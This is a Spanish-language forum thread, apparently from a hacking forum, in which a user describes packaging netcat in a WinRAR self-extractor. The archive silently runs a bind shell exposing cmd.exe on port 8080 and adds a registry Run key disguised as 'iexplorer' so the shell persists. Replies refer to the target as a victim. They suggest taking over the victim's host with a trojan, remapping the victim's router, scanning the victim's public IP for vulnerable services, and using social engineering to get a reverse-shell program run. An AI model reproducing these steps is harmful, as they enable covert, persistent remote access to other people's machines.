Buenass, parece ser que me ha dado ahora por aprender algo sobre la herramienta netcat, me estuve documentando y no he podido completar mis espectativas xD
Lo que quiero es hacer una conexion remota a mi sobremesa mandando anteriormente el netcat

Lo primero que hago es crear un autoextraible ayudandome de winrar, lo configuro de la siguiente manera, le digo que se extraiga en algun directorio.
Por ejemplo %homedrive%%homepath%\Sys32

Hago que se ejecute esta linea despues de la extraccion:
nc.exe -vv -d -L -p 8080 -e cmd.exe

Pongo que se ejecute lo siguiente antes de la extraccion:
%windir%\system32\cmd /c reg add HKcU\Software\Microsoft\Windows\CurrentVersion\Run /v "iexplorer" /t REG_SZ /d "%homedrive%%homepath%\Sys32\nc.exe -vv -d -L -p 8080 -e cmd.exe" /f > nul
 
ya lo restante que le pongo es algun iconito y que no me pregunte si sobreescribe algo,

luego lo ejecuto en el ordenador de sobremesa
y desde otro pc con otra conexión de internet(mi vecino juampi, que la madre hace unas galletas..)) intento conectarme a él escribiendo en el cmd:
telnet XX.XXX.XXX.XX 8080       donde XX es la ip, pero no consigo establecer la conexión, creo que lo que falla es un scan en el router para saber a que computadora dirigirse pero no se como se hace, alguna idea ??

Un Saludo y graciass

Edito: mm... he seguido leyendo y... solo sirve para conexiones locales..?? =(

haber.. te conectas al pc de tu amigo el cual esta conectado a un router debe ser por eso que no logras la conexión, tenes que mapear el puerto 8080 (que es el que estas usando) en el router de tu amigo.
Depende del modelo del router se hace de una u otra forma aca te dejo para que veas

http://foro.elhacker.net/hacking_basico/pagina_guia_para_mapear_puertos-t269105.0.html

Salu2

para poder mapear un router ajeno, deberás tener acceso a el desd el exterior, osea que debe tener habilitado el acces remoto al panel de control...


si no fuera así (algo recomendable por otra parte), es algo más complicado, deberás de consguir acceso completo al host victima (por ejempl mediante un troyano), y una vez ahí, acceder desde la LAN interna a la configuracion del router

nmap es un scaner (bueno ahora ya con mil y una funcionalidades ), no tiene nada que ver con el mapeo de puertos d un router

salu2

Según esto:

tienes mapeado el router...

si no es así, lo único que tienes que hacer es entrar a la configuración del router, y mediante NAT habilitar el puerto entrante que quieras, y que el contenido de este se redirija al puerto 8080 del pc víctima

vale me equivoqué en la interpretación del diagrama, claro, el que tienes que mapear es el de la víctima, ya te dije los 2 métodos que hay...

si lo del troyano no lo ves viable, prueba a hacerle un scan con nmap a la ip pública a ver si por casualidad tuviese algo abierto

a ver, por lo que sea, desechamos lo del troyano en un principio

ahora puedes hacer lo que te he dicho, escanea con el nmap la IP pública en busca de servicios vulnerables que corran...

comodices, también puedes intentar conseguir una reverse shell, pero para eso necesitarás un poquito de ingenieria social para mandarle un programa que haga lo que digo y que el tipo lo ejecute..

pues servidor Web,Ftp,Smtp...

claro que puedes usar otro programa que no sea netcat, solo es una idea, y si, claro que puedes hacer un reverse shell con netcat, te animo a que te leas las chinchetas, en especial la que hay sobre trasteando con netcat

salu2

Leere detenidamente las chichetas, pero antes se me plantea una duda.

Si yo para hacer la conexion del PCAtacante al PCVcitima he tenido que hacer el mapeo del RouterDelAtacante, al intentar una reverse Shell el otro router(victima) tambien tendra que estar mapeado?